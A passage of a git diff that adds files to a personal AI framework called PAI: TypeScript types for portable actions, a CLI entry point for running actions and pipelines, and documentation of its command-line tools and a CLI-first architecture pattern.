actions + */ +export const CommonSchemas = { + /** Simple text input */ + TextInput: z.object({ + text: z.string().min(1), + }), + + /** URL input */ + UrlInput: z.object({ + url: z.string().url(), + }), + + /** Topic structure */ + Topic: z.object({ + name: z.string(), + subtopics: z.array(z.string()).optional(), + keywords: z.array(z.string()).optional(), + }), + + /** Search query */ + SearchQuery: z.object({ + query: z.string(), + limit: z.number().int().positive().optional(), + }), + + /** Search result */ + SearchResult: z.object({ + url: z.string(), + title: z.string(), + snippet: z.string(), + relevance: z.number().min(0).max(1).optional(), + }), + + /** Markdown output */ + MarkdownOutput: z.object({ + content: z.string(), + wordCount: z.number().int().optional(), + }), +}; + +// Export Zod for convenience +export { z }; diff --git a/.opencode/PAI/ACTIONS/lib/types.v2.ts b/.opencode/PAI/ACTIONS/lib/types.v2.ts new file mode 100644 index 00000000..fa3e5f0d --- /dev/null +++ b/.opencode/PAI/ACTIONS/lib/types.v2.ts @@ -0,0 +1,177 @@ +#!/usr/bin/env bun +/** + * ============================================================================ + * PAI ACTIONS v2 - Shareable Action Types + * ============================================================================ + * + * Actions are portable, self-contained units that: + * - Use JSON Schema (universal) not Zod (TypeScript-specific) + * - Declare capabilities needed, don't import implementations + * - Can be packaged, shared, downloaded, run anywhere + * + * Package structure: + * action.json - Metadata, JSON schemas, capability requirements + * action.ts - Implementation (receives capabilities via context) + * + * ============================================================================ + */ + +import type { JSONSchema7 } from "json-schema"; + +/** + * Capabilities that actions can request. + * Runtime provides implementations - actions don't import them. + */ +export interface ActionCapabilities { + /** LLM inference - prompt in, response out */ + llm?: (prompt: string, options?: LLMOptions) => Promise; + + /** HTTP fetch */ + fetch?: typeof fetch; + + /** Shell command execution */ + shell?: (cmd: string) => Promise<{ stdout: string; stderr: string; code: number }>; + + /** File read (sandboxed) */ + readFile?: (path: string) => Promise; + + /** File write (sandboxed) */ + writeFile?: (path: string, content: string) => Promise; + + /** Key-value storage */ + kv?: { + get: (key: string) => Promise; + set: (key: string, value: string, ttl?: number) => Promise; + }; +} + +export interface LLMOptions { + /** Model tier: fast (haiku), standard (sonnet), smart (opus) */ + tier?: "fast" | "standard" | "smart"; + /** System prompt */ + system?: string; + /** Expect JSON response */ + json?: boolean; + /** Max tokens */ + maxTokens?: number; +} + +export interface LLMResponse { + text: string; + json?: unknown; + usage?: { input: number; output: number }; +} + +/** + * Execution context passed to every action + */ +export interface ActionContext { + /** Injected capabilities based on action's requirements */ + capabilities: ActionCapabilities; + + /** Execution environment */ + env: { + mode: "local" | "cloud"; + /** Secrets available (names only, values via capabilities) */ + secrets?: string[]; + }; + + /** Trace for observability */ + trace?: { + traceId: string; + spanId: string; + }; + + /** Pipeline context when running in a pipeline */ + pipeline?: { + name: string; + stepId: string; + }; +} + +/** + * Action manifest - the action.json file + */ +export interface ActionManifest { + /** Unique name: category/name */ + name: string; + + /** Semantic version */ + version: string; + + /** Human description */ + description: string; + + /** Input schema (JSON Schema draft-07) */ + input: JSONSchema7; + + /** Output schema (JSON Schema draft-07) */ + output: JSONSchema7; + + /** Capabilities this action requires */ + requires?: Array<"llm" | "fetch" | "shell" | "readFile" | "writeFile" | "kv">; + + /** Tags for categorization */ + tags?: string[]; + + /** Author info */ + author?: { + name: string; + url?: string; + }; + + /** License */ + license?: string; + + /** Deployment hints */ + deployment?: { + timeout?: number; + memory?: number; + secrets?: string[]; + }; +} + +/** + * The action implementation interface + */ +export interface ActionImplementation { + /** Execute the action */ + execute: (input: TInput, ctx: ActionContext) => Promise; +} + +/** + * Result wrapper + */ +export interface ActionResult { + success: boolean; + output?: T; + error?: string; + metadata?: { + durationMs: number; + action: string; + version: string; + }; +} + +/** + * Helper to validate input/output against JSON Schema + */ +export async function validateSchema( + data: unknown, + schema: JSONSchema7 +): Promise<{ valid: boolean; errors?: string[] }> { + // Use Ajv for validation + const Ajv = (await import("ajv")).default; + const ajv = new Ajv({ allErrors: true }); + const validate = ajv.compile(schema); + const valid = validate(data); + + if (!valid && validate.errors) { + return { + valid: false, + errors: validate.errors.map(e => `${e.instancePath} ${e.message}`), + }; + } + + return { valid: true }; +} diff --git a/.opencode/PAI/ACTIONS/pai.ts b/.opencode/PAI/ACTIONS/pai.ts new file mode 100644 index 00000000..8b043635 --- /dev/null +++ b/.opencode/PAI/ACTIONS/pai.ts @@ -0,0 +1,237 @@ +#!/usr/bin/env bun +/** + * ============================================================================ + * PAI CLI - Unified Actions & Pipelines Interface + * ============================================================================ + * + * The main entry point for running PAI actions and pipelines. + * + * USAGE: + * # Run an action + * pai action parse/topic --input '{"text":"quantum computing"}' + * echo '{"text":"quantum"}' | pai action parse/topic + * + * # Run a pipeline + * pai pipeline research --topic "quantum computing" + * + * # Piping actions together + * pai action parse/topic | pai action transform/summarize + * + * # List available actions/pipelines + * pai actions + * pai pipelines + * + * # Show action/pipeline info + * pai info parse/topic + * + * OPTIONS: + * --mode local|cloud Execution mode (default: local) + * --input '' Input as JSON string + * --verbose Show execution details + * + * ============================================================================ + */ + +import { runAction, listActions } from "./lib/runner"; +import { dirname, join } from "path"; +import { readdir, readFile } from "fs/promises"; + +const PIPELINES_DIR = join(dirname(import.meta.dir), "PIPELINES"); + +interface CLIOptions { + mode: "local" | "cloud"; + verbose: boolean; + input?: string; +} + +function parseArgs(args: string[]): { command: string; target?: string; options: CLIOptions; extra: Record } { + const options: CLIOptions = { mode: "local", verbose: false }; + const extra: Record = {}; + let command = ""; + let target: string | undefined; + let expectingValue: string | null = null; + + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + + if (expectingValue) { + if (expectingValue === "mode") options.mode = arg as "local" | "cloud"; + else if (expectingValue === "input") options.input = arg; + else extra[expectingValue] = arg; + expectingValue = null; + continue; + } + + if (arg === "--mode") { expectingValue = "mode"; continue; } + if (arg === "--input") { expectingValue = "input"; continue; } + if (arg === "--verbose" || arg === "-v") { options.verbose = true; continue; } + if (arg.startsWith("--")) { expectingValue = arg.slice(2); continue; } + + if (!command) { command = arg; continue; } + if (!target) { target = arg; continue; } + } + + return { command, target, options, extra }; +} + +async function readStdin(): Promise { + if (process.stdin.isTTY) return null; + + const chunks: Buffer[] = []; + for await (const chunk of process.stdin) { + chunks.push(chunk); + } + const content = Buffer.concat(chunks).toString().trim(); + return content || null; +} + +async function listPipelines(): Promise { + try { + const files = await readdir(PIPELINES_DIR); + return files + .filter(f => f.endsWith(".pipeline.yaml") || f.endsWith(".pipeline.yml")) + .map(f => f.replace(/\.pipeline\.(yaml|yml)$/, "")); + } catch { + return []; + } +} + +async function showHelp() { + console.log(` +PAI - Personal AI Actions & Pipelines + +USAGE: + pai action [--input ''] Run an action + pai pipeline [-- ] Run a pipeline + pai actions List all actions + pai pipelines List all pipelines + pai info Show action/pipeline details + +OPTIONS: + --mode local|cloud Execution mode (default: local) + --input '' Input as JSON string + --verbose, -v Show execution details + +EXAMPLES: + pai action parse/topic --input '{"text":"quantum computing"}' + echo '{"text":"AI"}' | pai action parse/topic + pai action parse/topic | pai action transform/summarize + pai pipeline research --topic "machine learning" +`); +} + +async function main() { + const args = process.argv.slice(2); + + if (args.length === 0 || args[0] === "--help" || args[0] === "-h") { + await showHelp(); + return; + } + + const { command, target, options, extra } = parseArgs(args); + + switch (command) { + case "action": { + if (!target) { + console.error("Error: Action name required. Usage: pai action "); + process.exit(1); + } + + // Get input from stdin, --input flag, or extra params + let input: unknown; + const stdinContent = await readStdin(); + + if (stdinContent) { + input = JSON.parse(stdinContent); + } else if (options.input) { + input = JSON.parse(options.input); + } else if (Object.keys(extra).length > 0) { + input = extra; + } else { + console.error("Error: No input provided. Use --input, pipe JSON, or pass -- "); + process.exit(1); + } + + if (options.verbose) { + console.error(`[pai] Running action: ${target}`); + console.error(`[pai] Mode: ${options.mode}`); + console.error(`[pai] Input: ${JSON.stringify(input)}`); + } + + const result = await runAction(target, input, { mode: options.mode }); + + if (result.success) { + console.log(JSON.stringify(result.output)); + if (options.verbose && result.metadata) { + console.error(`[pai] Duration: ${result.metadata.durationMs}ms`); + } + } else { + console.error(JSON.stringify({ error: result.error })); + process.exit(1); + } + break; + } + + case "pipeline": { + if (!target) { + console.error("Error: Pipeline name required. Usage: pai pipeline "); + process.exit(1); + } + // TODO: Implement pipeline runner + console.error(`Pipeline execution not yet implemented: ${target}`); + console.error(`Params: ${JSON.stringify(extra)}`); + process.exit(1); + } + + case "actions": { + const actions = await listActions(); + console.log(JSON.stringify({ actions }, null, 2)); + break; + } + + case "pipelines": { + const pipelines = await listPipelines(); + console.log(JSON.stringify({ pipelines }, null, 2)); + break; + } + + case "info": { + if (!target) { + console.error("Error: Name required. Usage: pai info "); + process.exit(1); + } + + // Try loading as action first + try { + const { loadAction } = await import("./lib/runner"); + const action = await loadAction(target); + console.log(JSON.stringify({ + type: "action", + name: action.name, + version: action.version, + description: action.description, + tags: action.tags, + deployment: action.deployment, + inputSchema: action.inputSchema._def, + outputSchema: action.outputSchema._def, + }, null, 2)); + } catch { + console.error(`Not found: ${target}`); + process.exit(1); + } + break; + } + + default: + console.error(`Unknown command: ${command}`); + await showHelp(); + process.exit(1); + } +} + +if (import.meta.main) { + main().catch(err => { + console.error(`Error: ${err.message}`); + process.exit(1); + }); +} diff --git a/.opencode/PAI/CLI.md b/.opencode/PAI/CLI.md new file mode 100644 index 00000000..e3660e37 --- /dev/null +++ b/.opencode/PAI/CLI.md @@ -0,0 +1,397 @@ +> **PAI 4.0** — This system is under active development. APIs, configuration formats, and features may change without notice. + +# PAI Command-Line Tools + +PAI provides two CLI tools for running infrastructure from the terminal: + +1. **The Algorithm CLI** — Run the PAI Algorithm against PRDs in loop or interactive mode +2. **The Arbol CLI** — Run actions and pipelines locally + +Both tools use `bun` as their runtime. + +--- + +## The Algorithm CLI + +**Location:** `~/.opencode/PAI/Tools/algorithm.ts` + +The Algorithm CLI executes the PAI Algorithm (Observe → Think → Plan → Build → Execute → Verify → Learn) against PRD files. It supports two modes: autonomous loop execution (no human needed) and interactive sessions (human-in-the-loop). + +### Quick Start + +```bash +# Run the Algorithm in autonomous loop mode +bun ~/.opencode/PAI/Tools/algorithm.ts -m loop -p -n 20 + +# Run in interactive mode (launches a claude session with PRD context) +bun ~/.opencode/PAI/Tools/algorithm.ts -m interactive -p + +# Check status of all PRDs +bun ~/.opencode/PAI/Tools/algorithm.ts status +``` + +### Usage + +``` +algorithm -m -p [-n N] [-a N] Run the Algorithm against a PRD +algorithm status [-p ] Show PRD status +algorithm pause -p Pause a running loop +algorithm resume -p Resume a paused loop +algorithm stop -p Stop a loop +``` + +### Flags + +| Flag | Short | Description | Default | +|------|-------|-------------|---------| +| `--mode` | `-m` | Execution mode: `loop` or `interactive` | — (required) | +| `--prd` | `-p` | PRD file path or PRD ID | — (required) | +| `--max` | `-n` | Max iterations (loop mode only) | 128 | +| `--agents` | `-a` | Parallel agents per iteration (1-16) | 1 | +| `--help` | `-h` | Show help | — | + +### Modes + +#### Loop Mode (Autonomous) + +Loop mode runs the Algorithm iteratively without human interaction. Each iteration: + +1. Reads the PRD and identifies failing Ideal State Criteria +2. Spawns a `claude -p` session focused on the failing criteria +3. The session makes progress, updates the PRD checkboxes +4. Re-reads the PRD to check progress +5. Repeats until all criteria pass or max iterations reached + +```bash +# Basic loop — single agent, up to 128 iterations +bun ~/.opencode/PAI/Tools/algorithm.ts -m loop -p PRD-20260213-auth.md + +# Fast loop — 20 max iterations +bun ~/.opencode/PAI/Tools/algorithm.ts -m loop -p PRD-20260213-auth.md -n 20 + +# Parallel loop — 4 agents working on different criteria simultaneously +bun ~/.opencode/PAI/Tools/algorithm.ts -m loop -p PRD-20260213-auth.md -n 20 -a 4 +``` + +**Parallel agents (`-a N`):** When N > 1, the CLI partitions failing criteria across N agents. Each agent receives exactly one criterion and operates as a focused worker. The CLI uses domain-aware partitioning — criteria from the same domain (e.g., `ISC-AUTH-1`, `ISC-AUTH-2`) are assigned to the same agent to avoid conflicts. After all agents complete, the parent process reconciles results into the PRD. + +**Effort Level Decay:** Loop iterations start at the PRD's configured effort level but decay toward Fast as criteria converge: +- Iterations 1-3: Original effort level (full exploration) +- Iterations 4+: If >50% passing → Standard (focused fixes) +- Iterations 8+: If >80% passing → Fast (surgical only) + +**Exit conditions:** +- All criteria pass → PRD status set to `COMPLETE` +- Only `Custom` verification criteria remain → PRD status set to `BLOCKED` +- Max iterations reached → PRD status set to `FAILED` +- External pause/stop → PRD status set to `paused`/`stopped` + +#### Interactive Mode + +Interactive mode launches a full `claude` session with the PRD context pre-loaded. You work with Claude directly to make progress on criteria. + +```bash +bun ~/.opencode/PAI/Tools/algorithm.ts -m interactive -p PRD-20260213-feature.md +``` + +This opens an interactive Claude session with: +- The PRD path and title +- Current progress (passing/total) +- List of failing criteria +- Instructions to read and update the PRD + +### Status & Control + +```bash +# Show all PRDs and their status +bun ~/.opencode/PAI/Tools/algorithm.ts status + +# Show status of a specific PRD +bun ~/.opencode/PAI/Tools/algorithm.ts status -p PRD-20260213-auth + +# Pause a running loop (loop checks between iterations) +bun ~/.opencode/PAI/Tools/algorithm.ts pause -p PRD-20260213-auth + +# Resume a paused loop +bun ~/.opencode/PAI/Tools/algorithm.ts resume -p PRD-20260213-auth + +# Stop a loop permanently +bun ~/.opencode/PAI/Tools/algorithm.ts stop -p PRD-20260213-auth +``` + +### PRD Resolution + +The CLI accepts PRD references in multiple formats: + +| Format | Example | Resolution | +|--------|---------|------------| +| Full path | `~/.opencode/MEMORY/WORK/20260207-auth/PRD.md` | Used directly | +| PRD ID | `PRD-20260207-auth` | Searches `MEMORY/WORK/*/PRD.md` and `~/Projects/*/.prd/` | +| Project path | `/path/to/project/.prd/PRD-20260213-feature.md` | Used directly | + +### Dashboard Integration + +The Algorithm CLI integrates with the PAI dashboard by writing state to `MEMORY/STATE/algorithms/`: + +- Creates a persistent session entry for each loop run +- Syncs criteria status (passing/failing) from PRD checkboxes after each iteration +- Registers in `session-names.json` for display +- Sends voice notifications at key moments (start, iteration complete, done) +- Tracks parallel agent assignments and per-agent status + +### Output + +Loop mode displays a live progress dashboard: + +``` +╔══════════════════════════════════════════════════════════════════════╗ +║ THE ALGORITHM — Loop Mode ║ +╠══════════════════════════════════════════════════════════════════════╣ +║ PRD: PRD-20260213-auth ║ +║ Title: Authentication System ║ +║ Session: a1b2c3d4 ║ +║ Max iterations: 20 | Agents: 4 ║ +║ Progress: 8/12 ████████████░░░░░░░░ 67% ║ +╚══════════════════════════════════════════════════════════════════════╝ + +━━━ Iteration 5/20 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + Progress: 8/12 ████████████░░░░░░░░ 67% | Failing: 4 + Agents this round: 4 + + Agent 1 → ISC-AUTH-1: JWT middleware validates token signatures + Agent 2 → ISC-AUTH-2: Refresh token rotation prevents replay attacks + Agent 3 → ISC-API-1: All endpoints return standard error format + Agent 4 → ISC-TEST-1: Integration test suite passes completely + + ⏳ 4 agents working... + ⏱ Agents finished in 45s + + Agent Results: + Agent 1 ✓ PASS ISC-AUTH-1: JWT middleware validates token... + Agent 2 ✓ PASS ISC-AUTH-2: Refresh token rotation prevents... + Agent 3 ✗ FAIL ISC-API-1: All endpoints return standard er... + Agent 4 ✓ PASS ISC-TEST-1: Integration test suite passes c... + + ── Criteria Scoreboard ────────────────────────────────────── + ✓ ISC-AUTH-1 JWT middleware validates token signatures + ✓ ISC-AUTH-2 Refresh token rotation prevents replay attacks + · ISC-API-1 All endpoints return standard error format + ✓ ISC-TEST-1 Integration test suite passes completely + ── 11/12 passing (92%) ────────────────────────────────────── + + Iteration 5 Summary: +3 | 11/12 passing (92%) | 45s +``` + +--- + +## The Arbol CLI (pai) + +**Location:** `~/.opencode/PAI/ACTIONS/pai.ts` + +The Arbol CLI (`pai`) provides a unified interface for running actions and pipelines locally. It supports JSON input via arguments, stdin piping, and UNIX-style action composition. + +### Quick Start + +```bash +cd ~/.opencode/PAI/ACTIONS + +# Run an action with inline JSON +bun pai.ts action A_EXAMPLE_SUMMARIZE --input '{"content": "Your text here"}' + +# Pipe JSON into an action +echo '{"content": "Your text"}' | bun pai.ts action A_EXAMPLE_SUMMARIZE + +# List all available actions +bun pai.ts actions + +# List all available pipelines +bun pai.ts pipelines + +# Show action details +bun pai.ts info A_EXAMPLE_SUMMARIZE +``` + +### Usage + +``` +pai action [--input ''] Run an action +pai pipeline [-- ] Run a pipeline +pai actions List all actions +pai pipelines List all pipelines +pai info Show action/pipeline details +``` + +### Options + +| Option | Short | Description | Default | +|--------|-------|-------------|---------| +| `--mode` | — | Execution mode: `local` or `cloud` | `local` | +| `--input` | — | Input as JSON string | — | +| `--verbose` | `-v` | Show execution details (timing, input/output) | off | + +### Input Methods + +Actions accept input via three methods (in priority order): + +1. **Stdin pipe** — `echo '{"content":"text"}' | bun pai.ts action A_EXAMPLE_SUMMARIZE` +2. **`--input` flag** — `bun pai.ts action A_EXAMPLE_SUMMARIZE --input '{"content":"text"}'` +3. **Named parameters** — `bun pai.ts action A_EXAMPLE_SUMMARIZE --content "text"` + +### Action Composition (Pipe Model) + +The Arbol CLI outputs JSON to stdout, enabling UNIX-style piping between actions: + +```bash +# Summarize, then format the result +bun pai.ts action A_EXAMPLE_SUMMARIZE --input '{"content": "Long text..."}' \ + | bun pai.ts action A_EXAMPLE_FORMAT +``` + +This mirrors the pipe model used in pipelines — the output of one action becomes the input of the next. The passthrough pattern (`...upstream` fields) ensures metadata flows through the chain. + +### Verbose Mode + +Use `-v` to see execution details on stderr (stdout stays clean for piping): + +```bash +bun pai.ts action A_EXAMPLE_SUMMARIZE --input '{"content": "test"}' -v +# [pai] Running action: A_EXAMPLE_SUMMARIZE +# [pai] Mode: local +# [pai] Input: {"content":"test"} +# [pai] Duration: 1234ms +# {"summary":"...","word_count":42} +``` + +--- + +## The Arbol Runner (Low-Level) + +**Location:** `~/.opencode/PAI/ACTIONS/lib/runner.v2.ts` + +The runner is the lower-level engine that the `pai` CLI and pipeline runner both use. You can call it directly: + +```bash +cd ~/.opencode/PAI/ACTIONS + +# Run an action (input as JSON argument) +bun lib/runner.v2.ts run A_EXAMPLE_SUMMARIZE '{"content": "Your text here"}' + +# List all registered actions +bun lib/runner.v2.ts list +``` + +### Response Format + +```json +{ + "success": true, + "output": { + "summary": "The text discusses...", + "word_count": 42 + }, + "metadata": { + "durationMs": 1234, + "action": "A_EXAMPLE_SUMMARIZE", + "version": "1.0.0" + } +} +``` + +--- + +## The Pipeline Runner + +**Location:** `~/.opencode/PAI/ACTIONS/lib/pipeline-runner.ts` + +The pipeline runner loads YAML pipeline definitions and chains actions sequentially. + +```bash +cd ~/.opencode/PAI/ACTIONS + +# Run a pipeline with named parameters +bun lib/pipeline-runner.ts run P_EXAMPLE_SUMMARIZE_AND_FORMAT --content "Your text here" + +# List all pipelines +bun lib/pipeline-runner.ts list +``` + +### Pipeline YAML Format + +```yaml +name: P_EXAMPLE_SUMMARIZE_AND_FORMAT +description: > + Summarizes text and formats the result as structured markdown. + +actions: + - A_EXAMPLE_SUMMARIZE + - A_EXAMPLE_FORMAT +``` + +The runner pipes data through each action sequentially: the output of action N becomes the input of action N+1. + +### Action Resolution + +Both the runner and pipeline runner search for actions in two locations (in priority order): + +1. **`USER/ACTIONS/`** — Personal actions (override system actions) +2. **`ACTIONS/`** — System/framework actions (includes examples) + +Similarly, pipelines are searched in: + +1. **`USER/PIPELINES/`** — Personal pipelines +2. **`PIPELINES/`** — System/framework pipelines + +This two-tier resolution means you can create personal actions and pipelines that extend or override the built-in examples. + +--- + +## Setting Up Shell Aliases + +For convenience, add aliases to your shell configuration (`.zshrc`, `.bashrc`): + +```bash +# The Algorithm CLI +alias algorithm="bun ~/.opencode/PAI/Tools/algorithm.ts" + +# The Arbol CLI +alias pai="bun ~/.opencode/PAI/ACTIONS/pai.ts" + +# Runners (optional — pai CLI wraps these) +alias arbol-run="bun ~/.opencode/PAI/ACTIONS/lib/runner.v2.ts" +alias arbol-pipe="bun ~/.opencode/PAI/ACTIONS/lib/pipeline-runner.ts" +``` + +Then use: + +```bash +algorithm -m loop -p PRD-20260213-auth -n 20 -a 4 +pai action A_EXAMPLE_SUMMARIZE --input '{"content": "text"}' +pai actions +``` + +--- + +## Summary + +| Tool | Purpose | Command | +|------|---------|---------| +| **Algorithm CLI** | Run PAI Algorithm against PRDs | `bun Tools/algorithm.ts -m loop -p ` | +| **Arbol CLI (pai)** | Run actions and pipelines | `bun ACTIONS/pai.ts action ` | +| **Runner** | Low-level action execution | `bun ACTIONS/lib/runner.v2.ts run ` | +| **Pipeline Runner** | Chain actions via YAML | `bun ACTIONS/lib/pipeline-runner.ts run ` | + +--- + +## Related Documentation + +| Document | Path | Description | +|----------|------|-------------| +| Actions | `ACTIONS.md` | Action creation, structure, capabilities | +| Pipelines | `PIPELINES.md` | Pipeline YAML format, composition | +| Flows | `FLOWS.md` | Cron scheduling, sources, destinations | +| Deployment | `DEPLOYMENT.md` | End-to-end Cloudflare Workers deployment | +| Arbol Overview | `ARBOLSYSTEM.md` | Architecture overview | + +--- + +**Last Updated:** 2026-02-21 diff --git a/.opencode/PAI/CLIFIRSTARCHITECTURE.md b/.opencode/PAI/CLIFIRSTARCHITECTURE.md new file mode 100755 index 00000000..eba29093 --- /dev/null +++ b/.opencode/PAI/CLIFIRSTARCHITECTURE.md @@ -0,0 +1,623 @@ +# CLI-First Architecture Pattern + +**Status**: Active Standard +**Applies To**: All new PAI tools, skills, and systems +**Created**: 2025-11-15 +**Philosophy**: Deterministic code execution > ad-hoc prompting + +--- + +## Core Principle + +**Build deterministic CLI tools first, then wrap them with AI prompting.** + +### The Pattern + +``` +Requirements → CLI Tool → Prompting Layer + (what) (how) (orchestration) +``` + +1. **Understand Requirements**: Document everything the tool needs to do +2. **Build Deterministic CLI**: Create command-line tool with explicit commands +3. **Wrap with Prompting**: AI orchestrates the CLI, doesn't replace it + +--- + +## Why CLI-First? + +### Old Way (Prompt-Driven) +``` +User Request → AI generates code/actions ad-hoc → Inconsistent results +``` + +**Problems:** +- ❌ Inconsistent outputs (prompts drift, model variations) +- ❌ Hard to debug (what exactly happened?) +- ❌ Not reproducible (same request, different results) +- ❌ Difficult to test (prompts change, behavior changes) +- ❌ No version control (prompt changes don't track behavior) + +### New Way (CLI-First) +``` +User Request → AI uses deterministic CLI → Consistent results +``` + +**Advantages:** +- ✅ Consistent outputs (same command = same result) +- ✅ Easy to debug (inspect CLI command that was run) +- ✅ Reproducible (CLI commands are deterministic) +- ✅ Testable (test CLI directly, independently of AI) +- ✅ Version controlled (CLI changes are explicit code changes) + +--- + +## The Three-Step Process + +### Step 1: Understand Requirements + +**Document everything the system needs to do:** + +- What operations are needed? +- What data needs to be created/read/updated/deleted? +- What queries need to be supported? +- What outputs are required? +- What edge cases exist? + +**Example (Evals System):** +``` +Operations: +- Create new use case +- Add test case to use case +- Add golden output for test case +- Create new prompt version +- Run evaluation +- Query results (by model, by prompt version, by score) +- Compare two runs +- List all use cases +- Show use case details +- Delete old runs +``` + +### Step 2: Build Deterministic CLI + +**Create command-line tool with explicit commands for every operation:** + +```bash +# Structure: tool-name [options] + +# Create operations +evals use-case create --name newsletter-summary --description "..." +evals test-case add --use-case newsletter-summary --file test.json +evals golden add --use-case newsletter-summary --test-id 001 --file expected.md +evals prompt create --use-case newsletter-summary --version v1.0.0 --file prompt.txt + +# Run operations +evals run --use-case newsletter-summary --model claude-3-5-sonnet --prompt v1.0.0 +evals run --use-case newsletter-summary --all-models --prompt v1.0.0 + +# Query operations +evals query runs --use-case newsletter-summary --limit 10 +evals query runs --model gpt-4o --score-min 0.8 +evals query runs --since 2025-11-01 + +# Compare operations +evals compare runs --run-a --run-b +evals compare models --use-case newsletter-summary --prompt v1.0.0 +evals compare prompts --use-case newsletter-summary --model claude-3-5-sonnet + +# List operations +evals list use-cases +evals list test-cases --use-case newsletter-summary +evals list prompts --use-case newsletter-summary +evals list models +``` + +**Key Characteristics:** +- **Explicit**: Every operation has a named command +- **Consistent**: Follow standard CLI conventions (flags, options, subcommands) +- **Deterministic**: Same command always produces same result +- **Composable**: Commands can be chained or scripted +- **Discoverable**: `evals --help` shows all commands +- **Self-documenting**: `evals run --help` explains the command + +### Step 3: Wrap with Prompting + +**AI orchestrates the CLI based on user intent:** + +```typescript +// User says: "Run evals for newsletter summary with Claude and GPT-4" + +// AI interprets and executes deterministic CLI commands: +await bash('evals run --use-case newsletter-summary --model claude-3-5-sonnet'); +await bash('evals run --use-case newsletter-summary --model gpt-4o'); +await bash('evals compare models --use-case newsletter-summary'); + +// AI then summarizes results for user in structured format +``` + +**Prompting Layer Responsibilities:** +- Understand user intent +- Map intent to appropriate CLI commands +- Execute CLI commands in correct order +- Handle errors and retry logic +- Summarize results for user +- Ask clarifying questions when needed + +**Prompting Layer Does NOT:** +- Replicate CLI functionality in ad-hoc code +- Generate solutions without using CLI +- Perform operations that should be CLI commands +- Bypass the CLI for "simple" operations + +--- + +## Design Guidelines + +### CLI Design Best Practices + +**1. Command Structure** +```bash +# Good: Hierarchical, clear structure +tool command subcommand --flag value + +# Examples: +evals use-case create --name foo +evals test-case add --use-case foo --file test.json +evals run --use-case foo --model claude-3-5-sonnet +``` + +**2. Output Formats** +```bash +# Human-readable by default +evals list use-cases + +# JSON for scripting +evals list use-cases --json + +# Specific fields for parsing +evals query runs --fields id,score,model +``` + +**3. Idempotency** +```bash +# Same command multiple times = same result +evals use-case create --name foo # Creates +evals use-case create --name foo # Already exists, no error + +# Use --force to override +evals use-case create --name foo --force # Recreates +``` + +**4. Validation** +```bash +# Validate before executing +evals run --use-case foo --dry-run + +# Show what would happen +evals run --use-case foo --explain +``` + +**5. Error Handling** +```bash +# Clear error messages +$ evals run --use-case nonexistent +Error: Use case 'nonexistent' not found +Available use cases: + - newsletter-summary + - code-review +Run 'evals use-case create' to create a new use case. + +# Exit codes +0 = success +1 = user error (wrong args, missing file) +2 = system error (database error, network error) +``` + +**6. Progressive Disclosure** +```bash +# Simple for common cases +evals run --use-case newsletter-summary + +# Advanced options available +evals run --use-case newsletter-summary \ + --model claude-3-5-sonnet \ + --prompt v2.0.0 \ + --test-case 001 \ + --verbose \ + --output results.json +``` + +**7. Configuration Flags (Behavioral Control)** + +**Inspired by indydevdan's variable-centric patterns.** CLI tools should expose configuration through flags that control execution behavior, enabling workflows to adapt without code changes. + +```bash +# Execution mode flags +tool run --fast # Quick mode (less thorough, faster) +tool run --thorough # Comprehensive mode (slower, more complete) +tool run --dry-run # Show what would happen without executing + +# Output control flags +tool run --format json # Machine-readable output +tool run --format markdown # Human-readable output +tool run --quiet # Minimal output +tool run --verbose # Detailed logging + +# Resource selection flags +tool run --model haiku # Use fast/cheap model +tool run --model opus # Use powerful/expensive model + +# Post-processing flags +tool generate --thumbnail # Generate additional thumbnail version +tool generate --remove-bg # Remove background after generation +tool process --no-cache # Bypass cache, force fresh execution +``` + +**Why Configuration Flags Matter:** +- **Workflow flexibility**: Same tool, different behaviors based on context +- **Natural language mapping**: "run this fast" → `--fast` flag +- **No code changes**: Behavioral variations through flags, not forks +- **Composable**: Combine flags for complex behaviors (`--fast --format json`) +- **Discoverable**: `--help` shows all configuration options + +**Flag Design Principles:** +1. **Sensible defaults**: Tool works without flags for common case +2. **Explicit overrides**: Flags modify default behavior +3. **Boolean flags**: `--flag` enables, absence disables (no `--no-flag` needed) +4. **Value flags**: `--flag ` for choices (model, format, etc.) +5. **Combinable**: Flags should work together logically + +### Workflow-to-Tool Integration + +**Workflows should map user intent to CLI flags, exposing the tool's full flexibility.** + +The gap in many systems: CLI tools have rich configuration options, but workflows hardcode a single invocation pattern. Instead, workflows should: + +1. **Interpret user intent** → Map to appropriate flags +2. **Document flag options** → Show what configurations are available +3. **Use flag tables** → Clear mapping from intent to command + +**Example: Art Generation Workflow** + +```markdown +## Model Selection (based on user request) + +| User Says | Flag | When to Use | +|-----------|------|-------------| +| "fast", "quick" | `--model nano-banana` | Speed over quality | +| "high quality", "best" | `--model flux` | Maximum quality | +| (default) | `--model nano-banana-pro` | Balanced default | + +## Post-Processing Options + +| User Says | Flag | Effect | +|-----------|------|--------| +| "blog header" | `--thumbnail` | Creates both transparent + thumb versions | +| "transparent background" | `--remove-bg` | Removes background after generation | +| "with reference" | `--reference-image ` | Style guidance from image | + +## Workflow Command Construction + +Based on user request, construct the CLI command: + +\`\`\`bash +bun run Generate.ts \ + --model [SELECTED_MODEL] \ + --prompt "[GENERATED_PROMPT]" \ + --size [SIZE] \ + --aspect-ratio [RATIO] \ + [--thumbnail if blog header] \ + [--remove-bg if transparency needed] \ + --output [PATH] +\`\`\` +``` + +**The Pattern:** +- Tool has comprehensive flags +- Workflow has intent→flag mapping tables +- User speaks naturally, workflow translates to precise CLI + +### Prompting Layer Best Practices + +**1. Always Use CLI** +```typescript +// Good: Use the CLI +await bash('evals run --use-case newsletter-summary'); + +// Bad: Replicate CLI functionality +const config = await readYaml('use-cases/newsletter-summary/config.yaml'); +const tests = await loadTestCases(config); +for (const test of tests) { + // ... manual implementation +} +``` + +**2. Map User Intent to Commands** +```typescript +// User: "Run evals for newsletter summary" +// → evals run --use-case newsletter-summary + +// User: "Compare Claude vs GPT-4 on newsletter summaries" +// → evals compare models --use-case newsletter-summary + +// User: "Show me recent eval runs" +// → evals query runs --limit 10 + +// User: "Create a new use case for blog post generation" +// → evals use-case create --name blog-post-generation +``` + +**3. Handle Errors Gracefully** +```typescript +const result = await bash('evals run --use-case foo'); + +if (result.exitCode !== 0) { + // Parse error message + // Suggest fix to user + // Retry if appropriate +} +``` + +**4. Compose Commands** +```typescript +// User: "Run evals for all use cases and show me which ones are failing" + +// Get all use cases +const useCases = await bash('evals list use-cases --json'); + +// Run evals for each 